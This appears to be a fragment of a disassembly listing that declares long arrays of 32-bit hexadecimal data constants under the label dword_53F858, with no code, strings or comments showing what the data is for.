		dd 31EAD111h, 0D184CA7Bh, 18A7D92Ch, 0BD7F05F0h, 0AC425882h
		dd 731040C8h, 9A657B00h, 5F1BDB0Ah, 0D1A9008Ch,	3C47A05Ch
		dd 0C2167D45h, 0DC045022h, 0DF008477h, 889FB85Eh, 74192012h
		dd 21E040E6h, 9913F4FDh, 7CD0A641h, 0B5744F9h, 75172D8Bh
		dd 16E42445h, 2023D067h, 9F5AA89Ah, 0AA27E420h,	0B59B0062h
		dd 9CFE4EDBh, 0AB09E34Ch
		dd 0C0F2E174h, 8215900Ch, 37113C17h, 44F68280h,	4A12AA96h
		dd 0E057BC20h, 0B4C09CDAh, 4F1B61EAh, 0AC506C5Fh, 8CA9E8FCh
		dd 23476916h, 400198B0h, 2B607D65h, 28EC1191h, 6E061EF9h
		dd 8D92400Dh, 0D1E8702Dh, 883EC701h, 2420C01Ah,	1C8C6B3Ah
		dd 0A1C1717Dh, 0B7365E99h, 43BEF860h, 4ED50EA3h, 0E5DBE9F0h
		dd 0E9A081F0h, 0F8915C4Dh, 56CF45AFh, 6D746490h, 0B8F58C81h
		dd 0F8402431h, 58573AB0h, 9B0BDC47h, 24E0F472h,	9F1573F5h
		dd 2DB06085h, 0D4886A67h, 0AF465E1Ch, 8A19C00h,	217FDA24h
		dd 0E859FA1Fh, 86F48CCCh, 7A8D1C1Ah, 348E1464h,	1BE6C305h
		dd 0F4688008h, 0E22E4147h, 37AF1C24h, 0C1BA0068h, 0B530D246h
		dd 1C960901h, 98762048h, 53AD8AC0h, 0B5A27065h,	0D9C730h
		dd 63432AB6h, 0C212951Eh, 0BD242195h, 243C2072h, 0B3B4204Bh
		dd 0C20006FDh, 74653C3h, 588B5632h, 0C6C9F022h,	6A00F4B7h
		dd 5A5CDF48h, 71BE3DE7h, 18219CB3h, 6CD591D0h, 0EBDCC200h
		dd 24017314h, 21090CBh,	0F6D63170h, 3471FA7Ch, 0CE189671h
		dd 42125A00h, 0B0109E2Ah, 0BDEB7DC4h, 0B1F92C20h, 6B00A91Ch
		dd 47E8FFBh, 0F06A70C7h, 31EF00F7h, 0F3E8FC57h,	0F89440DAh
		dd 2519DD88h, 9691A817h, 1C135A80h, 1506255Bh, 0DB9E2628h
		dd 0E0A8AD51h, 6CCBC049h, 860F900Bh, 0E4D8454Fh, 0A76F61A9h
		dd 6D302971h, 0E0099559h, 180208A9h, 7CC74785h,	0C261A744h
		dd 8C9AC427h, 3FCC809Fh, 18C9443Ah, 0C966C512h,	0F80477AFh
		dd 4F84B905h, 47C08CDBh, 98BF6DA1h, 0C0CAC63Dh,	0A08C181Bh
		dd 0CE8F78B4h, 0F805664Ah, 0ECA91850h, 4ABBB910h, 83C4EC8Bh
		dd 0E5CA30BBh, 0CE963AB5h, 0BAE2D883h, 1FFABC3Eh, 5708A0F1h
		dd 0CB111093h, 608C4D23h, 4F8E9950h, 27165EF8h,	6C941ABCh
		dd 0B0807CB8h, 0D2387B41h, 0E3991601h, 8BEF849Ah, 0E8645C39h
		dd 23F067C9h, 4B1F97D3h, 0CB182887h, 0C323E700h, 0E236AB25h
		dd 0D1AE1670h, 0E1400A53h, 88EF9FB4h, 1C3E54C8h, 220053Eh
		dd 0E9A77710h, 54592C34h, 2818FB79h, 0B6C51502h, 0F66AF41Eh
		dd 0D02B6068h, 670B1C2h, 94812201h, 3B7E642Eh, 488860h
		dd 0B8EF0C19h, 93460990h, 1002965Bh, 32666D52h,	0F197E840h
		dd 972D8480h, 52A8B410h, 6AEBE100h, 11F0F7E6h, 0B994349Ch
		dd 7D686BE8h, 25BC035Ch, 0ED9CE0ABh, 3DD116B0h,	10308712h
		dd 6F31CF5Ch, 0C7000C94h, 9E821890h, 88BB5BBDh,	0C0033C8h
		dd 0D96C41D2h, 768126A0h, 56DE0235h, 7CA13693h,	0C8658489h
		dd 266088E4h, 0F714C0A8h, 1288C603h, 0A0002438h, 35CA9569h
		dd 0EA103B8Bh, 0E9CF0B0Ch, 962F5FC0h, 0C03C6D7Fh, 0BF167E4Bh
		dd 0C569960Bh, 90742A27h, 114674h, 0F1E98852h, 2C694ECh
		dd 7B30FB45h, 0B4508B53h, 0A450B597h, 0FAE80054h, 0E32EF92Bh
		dd 0C451612Fh, 55851DF0h, 0E2F64101h, 0ECFB8B32h, 0EC1C3DADh
		dd 12C17254h, 9E5F2E93h, 6DEFC841h, 9FCF9C78h, 0CEE0C892h
		dd 9FD3E20h, 59089BEFh,	0FAD9A871h, 3724DB18h, 0A098645Bh
		dd 5C1B8D1h, 274349Eh, 23883B6Bh, 99BF00A4h, 3B46A1AFh
		dd 689A1BE6h, 48096D34h, 8065A8A0h, 0E85A19E3h,	484F801h
		dd 0C4549147h, 33B0ACB6h, 6B004206h, 7F778FF5h,	391C7B8Ah
		dd 64AD90B4h, 42C0C007h, 18568E93h, 999FE904h, 5AC5E8F4h
		dd 22845E9Bh, 0AC27782Ah, 48864500h, 0EC360817h, 0D97300E3h
		dd 0E1A49DBh, 0DC74E441h, 0E6F42496h, 0A30A1692h, 9FF443A6h
		dd 99180885h, 3D91BC36h, 8FC6008Ah, 0EAF1D9B7h,	2500BAF8h
		dd 2B3BD706h, 0A1D0B0h,	19794132h, 996470C1h, 5CD49095h
		dd 0A39D409Fh, 5C88925Eh, 0C6F78811h, 28F80A2Dh, 21B57078h
		dd 3295406h, 0D144B120h, 0BF188Ch, 0E2B1D753h, 0D3CA4490h
		dd 212EFDEAh, 0ED03A411h, 21ED2C7h, 468DC260h, 0E8219AA3h
		dd 2FC4249Bh, 21755865h, 42C1FC1Ch, 92879B5h, 2F683CD2h
		dd 6C21A0F1h, 1001DA0Bh, 81598C44h, 6C126A7Eh, 2923242Fh
		dd 18980F06h, 19770061h, 1A160A7Ah, 0C61A0263h,	0E58939A3h
		dd 608DE484h, 172CC65Ah, 48C9FA1h, 58AFB10h, 0F0A065C8h
		dd 98CD0946h, 78E07526h, 9395CE44h, 0E054EA28h,	0B73A7Eh
		dd 0A25ED32Fh, 0E599AFB9h, 0FFC54001h, 0E2389B35h, 1C44122Eh
		dd 70600F61h, 45988A63h, 4420184Bh, 0B7B7A15Dh,	0A04E68A2h
		dd 9100CCE4h, 2A9B5703h, 6F9FDFh, 5B6140D4h, 0EE150DFDh
		dd 4DA52527h, 0C522E068h, 0E0A03392h, 0C2802FEEh, 25342D48h
		dd 5962E84Dh, 847107h, 94453034h, 82E0B82h, 4C00C9B9h
		dd 0EFF37699h, 0D2C60B93h, 44E548E5h, 7A632AE4h, 8050FC85h
		dd 85622FCAh, 3E8E020Dh, 47AEC4B9h, 0D000AC5Eh,	7BAAE87Dh
		dd 8E160592h, 0A9A3AFACh, 0BF970FE8h, 0D681BFFAh, 6E5926A5h
		dd 0DD8A8480h, 12C054C6h, 57D11100h, 6D0361DFh,	9A842E2Ch
		dd 44C552E8h, 0C960FAC4h, 627BCE96h, 8749E0B9h,	0C182E44h
		dd 0EF801DB0h, 999E3801h, 862A4F1Bh, 23F82F2Ah,	8E4A0989h
		dd 9D137000h, 0A4606072h, 9F9BE270h, 4826499Ch,	0FB06E4Eh
		dd 249457D9h, 68E0BC72h, 4DC63E11h, 88D08BCFh, 931FC22Ah
		dd 27AAC440h, 840A4BEh,	22115E1Bh, 0C23E66C1h, 22A9029Eh
		dd 0FBB7365Fh, 0BDA97080h, 0EBAC2800h, 8B19841h, 69C70042h
		dd 4664CE81h, 6A49B6C3h, 6DD52D28h, 0EB4EC2DCh,	0C819C60h
		dd 123AB088h, 1C459D5Eh, 55960B84h, 0F079DC2Bh,	0AD18A979h
		dd 6BA24A13h, 2CB2F404h, 0A919991Eh, 0AEF060EEh, 54814B5Ah
		dd 7BF2509Ch, 25A07324h, 0B100A9A1h, 9646FB49h,	1DA659E5h
		dd 82371B7Eh, 3EA79F73h, 52F780A7h, 3CC413F1h, 0E1074843h
		dd 0F0D6FF7Dh, 35A6CF54h, 3F12EBF0h, 90048708h,	0F2022786h
		dd 4E00A5Fh, 0A5840F7Fh, 6011C42Ch, 1CC43CD4h, 0C9F54A3Dh
		dd 0A0D9FD08h, 0F0F4C58Ah, 11DC972Dh, 0B0E681FAh, 90707ED1h
		dd 0E29F4B7Ch, 369704D8h, 210B2A89h, 0D411640Bh, 41E05254h
		dd 0A60D5871h, 6E3B39DAh, 37F4173Ch, 0CAF76821h, 1AF360h
		dd 0ADC2E5E8h, 8559B9CFh, 950106E6h, 7A5DAE7Bh,	4EE837FCh
		dd 864D04C5h, 0F966268Ch, 0F3DC1238h, 210C7C00h, 0BC243748h
		dd 37465C4Ch, 67A14B00h, 0F4461BCEh, 5F04B674h,	0FCDD2EF7h
		dd 319E0C90h, 5E9FE4E4h, 68F44564h, 19904467h, 8B304303h
		dd 0C5213AB6h, 0D8F0A2A5h, 646910BCh, 0DDF81C20h, 28E60311h
		dd 1BA34086h, 72704900h, 2165C225h, 0FCD5B32h, 0DA5210E4h
		dd 3149C07Ch, 2D5DB76h,	0C3EEBA97h, 60541A84h, 9A4465Eh
		dd 0C8E54118h, 188B6634h, 0F16F347Eh, 7F81105Ah, 4F764CC8h
		dd 109C2F25h, 0AC0B80Ch, 91A0F1FCh, 581AE22Eh, 1657F008h
		dd 0ED401FF5h, 8C91349Dh, 653DD180h, 6F07381Ch,	78A7BB4Ch
		dd 0B8F4A10Ch, 23560E76h, 2A8008A5h, 0D0885F1Eh, 0CFB5241Ch
		dd 0B0E89312h, 0EE13AE82h, 0DCA47E09h, 0D6889900h, 0F78168ACh
		dd 297828B0h, 385F7610h, 0CA384D03h, 53C75203h,	0C383A68Fh
		dd 896E87B0h, 0A0A5852Dh, 9E72F54h, 15CE004Ah, 20D9EE0Bh
		dd 0ECF1FDEAh, 98132D19h, 84E47C7Eh, 0E7AB00B9h, 0A5FE1B7Ah
		dd 0C83B1458h, 0F4748AF1h, 4103B4B2h, 0B8217F3Bh, 7084ACh
		dd 0D7272079h, 31EC1738h, 0AA0599FAh, 22C55883h, 148894CEh
		dd 377360CFh, 7CFFA9C4h, 72833BE8h, 35A002CFh, 0DCAB60B7h
		dd 0AFDC0802h, 76CE9700h, 0B43F4AFEh, 8D400748h, 9EE67BC3h
		dd 94BE09D4h, 0D30FA4D9h
dword_53F858	dd 892A0686h, 10EE0728h, 32C4B0EFh, 78D1BDAEh, 86B80570h
		dd 276CE300h, 0F3916A61h, 1CEF5FA1h, 0B3BC9350h, 3081A278h
		dd 5F00CE6Ch, 0D7D9913Bh, 0BFFDC05h, 0FD1269BBh, 160F4C1h
		dd 398091A3h, 4D3DAFA0h, 0F601EEC5h, 0E396C425h, 0C8402612h
		dd 635A563Bh, 8C82A8C0h, 2A6B3FD1h, 0F1C3A8DBh,	5F90D735h
		dd 2A25921Ah, 84B06837h, 156D009Fh, 6183D1FEh, 3824E5AAh
		dd 77015BAEh, 67D3986Ch, 18F81850h, 0A24F07E9h,	3016579Fh
		dd 84456909h, 0CB3560Eh, 115442C6h, 80B8563Ah, 0AB3970C2h
		dd 4D955EE3h, 2D0DE0B0h, 960EC768h, 8C02140Ch, 95E921B4h
		dd 54007464h, 4DF32F61h, 391C8617h, 0BE801DA1h,	8568CBE1h
		dd 0DB1E801Fh, 0C485D1E7h, 0B8CEAEEBh, 61C1FB88h, 3CF4363Bh
		dd 0D2C605E7h, 0E2C212B9h, 0E8100378h, 48BE9D15h, 4BC05060h
		dd 993DF6B9h, 3576EC00h, 5777294Dh, 977128BAh, 0A4955894h
		dd 20672725h, 0A860AF44h, 810058A6h, 0A5AAD307h, 29F5D53h
		dd 90C2788h, 786A05E8h,	0EB599C5Bh, 263969D8h, 415CA658h
		dd 0D840DB87h, 4A7792D4h, 0AEFBB703h, 0A8C52906h, 0F9F0C4h
		dd 3B529411h, 0D2611A48h, 0CDCA8512h, 0DB8F88A8h, 9DBE8CC0h
		dd 68002295h, 0C02584C6h, 258B31EFh, 45187B2h, 5918B2D9h
		dd 63003071h, 86410689h, 0B03EFF7Ch, 0B11CEE78h, 69C700D8h
		dd 24A67B90h, 90B52C92h, 18E5EF18h, 0C05FA5A3h,	0FBE2C695h
		dd 9E9D4C98h, 79924518h, 3B54B8F8h, 0C202633Bh,	0DF6485FEh
		dd 0E1448E4h, 0F8E00FECh, 8FD60F28h, 4CA0F83Dh,	13558C09h
		dd 9A5EA300h, 0D698C01Fh, 0B83D1C8Eh, 0D08339D9h, 0FEC4888Dh
		dd 0A44F3900h, 0D36955B6h, 3CB500F8h, 5EBEE29Eh, 157965DAh
		dd 0C188D60Ch, 0F0AE316Fh, 0B72530E1h, 4D10D811h, 63519B00h
		dd 13394173h, 0C3BCE874h, 4C88F221h, 38A23188h,	0D3463005h
		dd 50830D28h, 0EA980790h, 21CCC453h, 13B94463h,	3F3EC951h
		dd 0B8F5A600h, 26C818C0h, 106CD8h, 4A1291B5h, 3D8602EEh
		dd 0B4A321C0h, 0C03EA788h, 95FA5D11h, 503C8D9h,	0F5C09433h
		dd 58A332h, 95E67F21h, 6ED46D89h, 1251D305h, 0A006395Eh
		dd 3084CC20h, 5F708E84h, 0D21853FAh, 4888607h, 6C578091h
		dd 0E99BBA0Ch, 0E5C383Bh, 0EC4EC7FDh, 0B780AF0h, 0DC119C16h
		dd 964D0D80h, 878B51h, 694C85F7h, 4702A0BBh, 17BF9CDAh
		dd 0EE2C09Bh, 64070E0Ah, 0D2EAAFD9h, 0FCE410D0h, 0E4078CBFh
		dd 52D8499Ch, 4B267920h, 3BE80143h, 5F3936D4h, 9D9DC44h
		dd 1C44152h, 3E2632B5h,	0A1E2FEE3h, 779A6FC0h, 0D4E0C421h
		dd 850E1DD2h, 21961870h, 770092D0h, 0B6257890h,	31281234h
		dd 4840D569h, 0E93EECD7h, 981728A4h, 200A0F77h,	0A2912870h
		dd 7790CE00h, 81F6C92h,	0BBFA600Ah, 2103D0BDh, 285FF09h
		dd 158E129h, 0DC825A36h, 400E8A60h, 84806F89h, 2C8B2A8Fh
		dd 36B83A88h, 5F81FEB8h, 57B461E3h, 480898D3h, 0FEDE1C21h
		dd 917F036Ch, 9C5446C6h, 6CB4503Ch, 8CE2C871h, 10779705h
		dd 8C623507h, 8FD1219Ah, 0E0D7D277h, 0FAC7B10h,	0DCE4AB66h
		dd 0FA5452E3h, 4848194h, 0DED820FEh, 294E5140h,	7160B429h
		dd 3A18CFh, 0B965240Bh,	0B6C4E9E8h, 445ED501h, 0ECC65BC9h
		dd 0B2B16080h, 0A7573D97h, 0AC8CB424h, 0D595FEC0h, 32E521C8h
		dd 95EA7B60h, 776F00DEh, 71604F19h, 4E613EABh, 0CB28DF58h
		dd 0DD88B187h, 0B82601E9h, 4A76EC15h, 0D50B1D00h, 0BDC8CF50h
		dd 0C22FD32h, 233097F2h, 0D71500ECh, 46BA3659h,	0D4A296D4h
		dd 60909804h, 2301FED7h, 0CE11CB60h, 1FDF1713h,	82210097h
		dd 9815EA0Bh, 12347048h, 206FB86Dh, 64EACB01h, 83DD354Ah
		dd 28405D19h, 1E4900D1h, 0AD9DA42Ah, 8007819Ah,	0CC067761h
		dd 0C8802DC4h, 3EFCC75Ah, 3138C84Ah, 1AA3D785h,	33B00458h
		dd 0DF04C230h, 84D0E30h, 74135199h, 2098C065h, 1B6A0085h
		dd 0AA121EA6h, 510CEE56h, 5841525Ch, 0CBA00E7Bh, 22324055h
		dd 9C30E574h, 68B1177h,	0BCA1882Dh, 0C077948Eh,	6402FB29h
		dd 8804482Eh, 8C8DC488h, 11FED838h, 0D488D360h,	0FEE01683h
		dd 9BCCC09Dh, 6CA2012Dh, 0F4ED4F9Fh, 0F88F0342h, 743E5E16h
		dd 0CEAF01A1h, 2AA45177h, 0AE78814Dh, 0A6964FA0h, 0B7051840h
		dd 8B191CE5h, 0B048FFC7h, 8714224Ch, 9F00F8BAh,	0DC91FC83h
		dd 9890E066h, 848E6F28h, 9501E846h, 85070E77h, 88A00C70h
		dd 77018DCFh, 0B6E0406Ah, 0DBF8A957h, 95D501D1h, 0CA8BEF4Fh
		dd 0F58217B7h, 5E8D40E7h, 6BCA874h, 3C2A37C4h, 8D52C380h
		dd 9804593Fh, 5D89D262h, 0B5183002h, 0D67ABEB8h, 0A1C6B100h
		dd 324A572Dh, 298E6143h, 8CC497FAh, 0D09048E1h,	93048CE6h
		dd 95071477h, 0CD209662h, 759778Bh, 6E652D57h, 80C375E8h
		dd 0CB71FC53h, 0B8A0BE7Dh, 7A59B336h, 0B0ED2258h, 0C4153F89h
		dd 0E09D80E9h, 82805C11h, 15BB9CBEh, 0DD67BF03h, 20E90ACFh
		dd 0FFE8B4D9h, 94463090h, 0FDFEDB01h, 0C622B5Fh, 61138941h
		dd 9D27416Eh, 3F0C703Ah, 0D9776600h, 22DEB6F8h,	18ACBA88h
		dd 58B48411h, 0BE06B77Ah, 4731F65Bh, 8BC60049h,	0EA1E686Fh
		dd 5E636BDDh, 0F9FDFC68h, 0CCC157D7h, 0E7231C63h, 0D779601h
		dd 80639D07h, 778ECC80h, 4A288B9Eh, 78026C4Eh, 9750AF04h
		dd 0C0D0CD25h, 9AB10F63h, 4AE8E706h, 41D738h, 81C64C5Dh
		dd 0C9701A5Fh, 3502ACA0h, 0AC8B2426h, 27128B3Eh, 804837E0h
		dd 0FB5F0A89h, 0AF00DD56h, 0FA3E629Fh, 6190353Fh, 4776095h
		dd 0DE6C3001h, 4D0F048Ch, 621B5198h, 87F920C1h,	843FBF4Ch
		dd 9E40101h, 0A523FA5Eh, 0DDC6C09Dh, 0FF2A20F4h, 0F000848Ah
		dd 0A4240AFDh, 6E385Fh,	0A5BCBEA2h, 0CFB67C0Eh,	6830BC90h
		dd 53CB60D1h, 3A39D277h, 972304h, 595A091h, 7C130472h
		dd 0F002360Ah, 6892539Bh, 30D47EE8h, 0C7784BC6h, 5D6126A3h
		dd 0B5743818h, 0DA189182h, 0D0E44313h, 99E44615h, 0D438069Ch
		dd 81583302h, 8918E0A0h, 519A4C04h, 0A432736Bh,	4C81F320h
		dd 0C4511695h, 1FE04B96h, 60830884h, 23DA95FDh,	5111ADC8h
		dd 95E58400h, 9939A359h, 20415320h, 4173E9Eh, 40275D74h
		dd 0ED96C2h, 78837A88h,	7C71F901h, 0C113FA5Fh, 400A1435h
		dd 0EDC053C8h, 1BCFEE4h, 0B06B6818h, 201227AEh,	96287C59h
		dd 7C989037h, 2C7FE90Ah, 0FD80E446h, 0E8178E13h, 0AE213B96h
		dd 0CEFB0A9Dh, 0CAE09807h, 12F55368h, 20305800h, 7822602Eh
		dd 9AA8C7A2h, 7B342039h, 1091D2A5h, 811894D1h, 21ED1303h
		dd 0D4CA205Ch, 4388B08Eh, 2C8125C5h, 3111CCBBh,	0F12180E5h
		dd 6CC951F0h, 2E5E7F7Ah, 74F85A78h, 4C0E5246h, 7EE1AFB1h
		dd 50D976CCh, 471653E8h, 497DC80h, 0BA381731h, 88C8CE9Ch
		dd 0E180C743h, 80CF28E1h, 0FDEC0F39h, 22820Dh, 0E3C56DCh
		dd 89A2C5F3h, 0C9202C90h, 0AC4F084Ah, 0A40151C6h, 0A1D69141h
		dd 60BB31F4h, 48266093h, 4C00206Eh, 0D2AB892Ch,	0FF3A136h
		dd 5D379C7Ah, 234DEA40h, 0A00B83Bh, 0F48F4E42h,	0B6AC91h
		dd 0E288934Bh, 0FF7DB437h, 8D09F000h, 788110CEh, 0BF500051h
		dd 0F8697913h, 0CB50EEF3h, 0E207F6FEh, 280298Bh, 3AA0B4A7h
		dd 0FEFAA0C4h, 164400E4h, 0F91C0E6Ch, 0EF01EB82h, 0BB1F8C35h
		dd 0AEEC4AC2h, 0A86800DFh, 0E083FBC1h, 2F20F2Eh, 0E666F20Fh
		dd 6A2B8004h, 211F1Ah, 848E09CDh, 76EF6C73h, 0D977F0E0h
		dd 0B80D1706h, 131B533h
		dd 0DFC5E662h, 0D020A3F7h, 0B209F6h, 0C25A1600h, 6886CE13h
		dd 1729FAC4h, 1E529CECh, 7AEB00F0h, 22C81DFEh, 35A42718h
		dd 88C9450h, 0CE09314Bh, 0F0906C13h, 1E7513F9h,	4043709Ah
		dd 12E72EDDh, 0C138ADEBh, 19F68C52h, 4659CAh, 9AEF86D6h
		dd 0A6AF111Bh, 53611301h, 0DAFA2D69h, 3256D8h, 0FFE53BA8h
		dd 0D346FCAFh, 0E0BE0A1Ch, 219ACE40h, 3AB411h, 0D4B3FDC6h
		dd 9344F67Ah, 2D00DE7Ch, 1443D797h, 3F9ECD0h, 0A98802AEh
		dd 8107EEACh, 0CEF23171h, 3AF96D00h, 0D167006Ah, 0EF76633Ch
		dd 2D00FDD2h, 0AE842046h, 0FC1A2375h, 2BBC0057h, 14F41054h
		dd 6F3E98BEh, 65559CD1h, 7FB83A80h, 4EFD12h, 0CDA6520Eh
		dd 4625BD6Ch, 36B95C00h, 38963990h, 0CBC007C8h,	597DE987h
		dd 58080CA0h, 7701F89Dh, 0E183B379h, 2FC8326Ch,	24D97F4Dh
		dd 1DA0EAD4h, 2DE307B1h, 0C099030h, 0E9000F8Bh,	272B871h
		dd 1D1DFD6h, 0F07A86F2h, 0E0A9C464h, 0C100FDA0h, 7B19577Eh
		dd 5A4C3Eh, 0DEADE7B0h,	0CF6071D5h, 79326903h, 0E1E2B99Eh
		dd 0A088E67Ch, 0B181AF31h, 0BE8DA012h, 856A389Fh, 40136B34h
		dd 0CD0DF2B0h, 3500D399h, 0D4B9379Eh, 2E85D6FBh, 925160h
		dd 82F1A8F8h, 2301B776h, 0C5D7514h, 0C850DF18h,	335BD4h
		dd 0B3E922B9h, 95C8F9AAh, 2C8F6F00h, 955EF39h, 409038h
		dd 2814BD8Bh, 2764017Dh, 0A84080F5h, 0E5AB4C7Ch, 0B8E118B6h
		dd 8E55C089h, 83F088h, 1FCD35E2h, 0CF2C563Ch, 9F0018B8h
		dd 7385E424h, 4E4608h, 0D91C1537h, 0C67099BCh, 0E62BB800h
		dd 0A290CD3Eh, 78E50075h, 0C9B02D33h, 50140E5Ah, 3A9F4C22h
		dd 235C0048h, 0E0B2063Ah, 976C1DFDh, 408D5CF4h,	51BFD9C4h
		dd 0DE00B17Ch, 0C02E0391h, 0E4C9FCh, 84E71D61h,	993372Ah
		dd 8DB44200h, 0BAF52568h, 0C73B0286h, 20BC0E26h, 24CE4541h
		dd 0CF00E7E0h, 76C2985h, 0C274F7h, 987CD8D6h, 1F7294F9h
		dd 38C0556Ch, 312877F5h, 0C1A015AFh, 6A3FD82Ch,	74D4BD00h
		dd 0B22B1E95h, 8B2E00CDh, 0E86114ADh, 8EEE9123h, 16AC8C1Eh
		dd 0B64CB080h, 1E67634h, 0E433B975h, 0E88DBB32h, 507EB20h
		dd 58C9DE09h, 0E4C10334h, 0C052E1FFh, 470408Bh,	0C68A0014h
		dd 2E423ACDh, 0A503EB02h, 2467AFC5h, 2D6AE810h,	542503DAh
		dd 718B6174h, 0DBAB13A8h, 0E124700h, 7AEECE76h,	0ED390045h
		dd 3383C74Bh, 0A718E5E3h, 2E40C5ADh, 0FD1018AFh, 0B53011ABh
		dd 338FAE06h, 64184DFh,	5CD51B0Bh, 6900A1B3h, 247104EDh
		dd 5F920C2h, 3E13636Dh,	0BB980017h, 0E7D0B339h,	39CD83Ch
		dd 0C22EBCDBh, 59210036h, 98DDB47Fh, 49F02F02h,	0ED1F08F8h
		dd 688025FFh, 6EFC3181h, 75FEEE71h, 66B600E4h, 0CF6A9DD2h
		dd 9800ED9Ah, 0E54E0F21h, 3D18D6h, 1628A551h, 63472EECh
		dd 65B2E8E3h, 2FC23B00h, 0F17AAEF5h, 5CE8F3h, 7430706Eh
		dd 31EBD506h, 737E1A01h, 0BD55E2DAh, 18042CBFh,	0C00792A4h
		dd 0D1D22CE2h, 0E91A5900h, 95EB0410h, 6F741F9Fh, 0F5D84398h
		dd 5AF93D53h, 2108094h,	2B55AADEh, 0CEE60021h, 0BEF273BBh
		dd 300046BCh, 98974287h, 8C2A51h, 68D12ED5h, 9E13CEB9h
		dd 78F7941Dh, 0BB9750C0h, 0F32B1E0h, 25D7337h, 532AB2A0h
		dd 282EDD1Fh, 6E00C6C3h, 304EEB0Ah, 0B37B05F3h,	0C8371705h
		dd 9676BB18h, 92B3Fh, 0DA58E482h, 0E2A1E7h, 0BD72FAC0h
		dd 13B91E07h, 0F2677B00h, 93CAEE8Dh, 0A88F006Dh, 0ADB4F35h
		dd 0E8EB34D3h, 6F007378h, 0B453194Ch, 1435CA1Fh, 0A1F18464h
		dd 0ACE55800h, 5796C8E2h, 8C45522Eh, 0D32EBE80h, 0D4697Ch
		dd 0C761EC27h, 3999743Ah, 2892FB24h, 0D4FD0683h, 0E120A387h
		dd 19899398h, 2CC3280Eh, 73DB33C0h, 23519900h, 6EAC9074h
		dd 0CDBD0197h, 39618B5Dh, 1C5793h, 5A988950h, 0B500E8F8h
		dd 6410F16h, 583010Ah, 57D4F504h, 2D544353h, 0C0C706D3h
		dd 0F3C8375Fh, 0BAD7DE00h, 0BEDA32C5h, 38D23075h, 50C8938h
		dd 0E9FFB407h, 66379CFEh, 0DFA6A7h, 472A11Bh, 0AE10076Eh
		dd 407ECDF5h, 0D3657921h, 9B1C8C7Dh, 8C08BF6h, 0B5EB67D8h
		dd 2655037Bh, 10E18582h, 956C6E98h, 0EA7DF800h,	5424562Ah
		dd 1B4405A5h, 81362133h, 0D9F82743h, 78F1C205h,	5218BE79h
		dd 0B4DA5501h, 0A4C4F0B3h, 3D256C79h, 0BE919097h, 554ABD83h
		dd 0EEC42FF0h, 514BA630h, 0F481C1C3h, 9DF307B9h, 10EDE4ADh
		dd 8B8D11E3h, 0D8269E00h, 7B2B0E78h, 0C6D9004Ch, 1070E846h
		dd 12175BB5h, 38C7B3CCh, 49F08CEh, 0E0D81A5Fh, 0E905CD60h
		dd 0AFD1395Dh, 3BB0FCE6h, 4715923h, 935E430Bh, 719A01C0h
		dd 6889ACDFh, 0B86BCFF4h, 0D0F81010h, 4B74C000h, 84D7AB34h
		dd 97A38F25h, 83541118h, 0D04EC824h, 5E64761Fh,	239C2FD3h
		dd 0B3F907A0h, 0F878408Eh, 5506A3C2h, 0DF31444Fh, 6F5F0049h
		dd 19FD4A60h, 860FDDFAh, 85A0C6B1h, 94B26193h, 0E630BFF2h
		dd 97C60F34h, 8349011Fh, 9E014864h, 679572AEh, 10C0D3C5h
		dd 0A4251680h, 0C870CBB4h, 0B5FDC04Bh, 6021DFFh, 8075A132h
		dd 0B8948C49h, 14048CDDh, 8351974Dh, 0F601548Eh, 3BE24C8Ch
		dd 4F27D40Dh, 7A8BFC05h, 94F4FE88h, 3F110038h, 9B9A6209h
		dd 562676C3h, 7C000C69h, 445ED07Ah, 48CC0F4Dh, 8B9665C0h
		dd 0C19BC858h, 0F07E13DAh, 0C5392EBBh, 7C187B33h, 716047E2h
		dd 50CE31C3h, 2A0E3878h, 21489C6Eh, 2644A300h, 46585416h
		dd 96539B0Dh, 70685862h, 8C9ABCh, 0CCFB1E3Ah, 731A28F2h
		dd 92EC853Fh, 64B0BC32h, 802094FEh, 552EC0DAh, 0B54E14F4h
		dd 0D423742Fh, 4CE78D00h, 0B6DA1Bh, 91399F99h, 0A9CB9DB5h
		dd 5EC03417h, 940668D1h, 4110446Dh, 3EC604B9h, 18D06D9Ch
		dd 82C98412h, 0F76E0856h, 0F67C88h, 0E547AC23h,	28D852F8h
		dd 71B1B560h, 32660D4h,	4A54DDDAh, 0A9646535h, 0D5608ED8h
		dd 5F10FFFEh, 0CDC861DBh, 0FEDD1580h, 0F8BF4A3h, 0E38448BFh
		dd 52ABD063h, 0CCC008Dh, 63B0057Ch, 13D04463h, 0C0A100F0h
		dd 0C9F29C64h, 0B15AFFD7h, 9A23B83Eh, 19594200h, 959CA5h
		dd 4651C9EBh, 0C35374B9h, 426C7848h, 2A0E0FE4h,	415FE1B2h
		dd 0F4503931h, 4BC5888Ch, 2AA088B3h, 7F604E41h,	0F6631435h
		dd 0C496A014h, 8E84C4h,	0C4518BC0h, 31CA4F3Ah, 7660D4CCh
		dd 4842D404h, 286284DAh, 0AE006432h, 9EE9D8C0h,	0BD90B9Ch
		dd 3E7EF444h, 17D57D40h, 92A85BFAh, 0F18EE4h, 0E518A179h
		dd 310B760Ch, 0EABF39E0h, 10FFC1Bh, 921239ECh, 43B4FE41h
		dd 7A490D0h, 788A4D4Ah,	0A407FA04h, 5426BA01h, 35A08271h
		dd 0B21403h, 0DEEF50CDh, 7AF3771Ch, 85248784h, 42C890CBh
		dd 902B7CC7h, 75377Ch, 0A9E8BAE1h, 280A5F9Ah, 9770CB60h
		dd 0C18C6F31h, 0C0132728h, 0E0142AA9h, 8C43EC64h, 4D17101h
		dd 5F2C6974h, 0CA103068h, 0CC313846h, 8CA3E8D0h, 84F4623Fh
		dd 85092542h, 3AAC2CADh, 4B5029EAh, 72248893h, 0E408409Ah
		dd 0B2730DB9h, 0BCA46C51h, 0B1008CBDh, 676B70CFh, 1132CB2h
		dd 7EFD0AAh, 804D31FEh,	20985789h, 40E9B2h, 69DBCA79h
		dd 0A863E83Fh, 0B88EA43Ah, 0D3300439h, 64904AA7h, 0AEDA5Fh
		dd 141CBBE6h, 3AFB67CFh, 89194538h, 10CC066Ah, 278FA8Ch
		dd 0E84F1F40h, 0E0C715E7h, 6560A444h, 0B65E5BC9h, 77DFB003h
		dd 2FEED076h, 734B0051h, 0BA0F8BC0h, 0F5E2E954h, 3C03435Eh
		dd 58D3394Ah, 761238E9h
		dd 5F08E33Eh, 5623602Fh, 3D701F39h, 1F2D26C0h, 247C0457h
		dd 92C35BAh, 749DD748h,	2880A311h, 0C046C837h, 0F82CC092h
		dd 9A1E24BEh, 6794FF05h, 9788E08Eh, 0E71452C0h,	0B22F3B0Fh
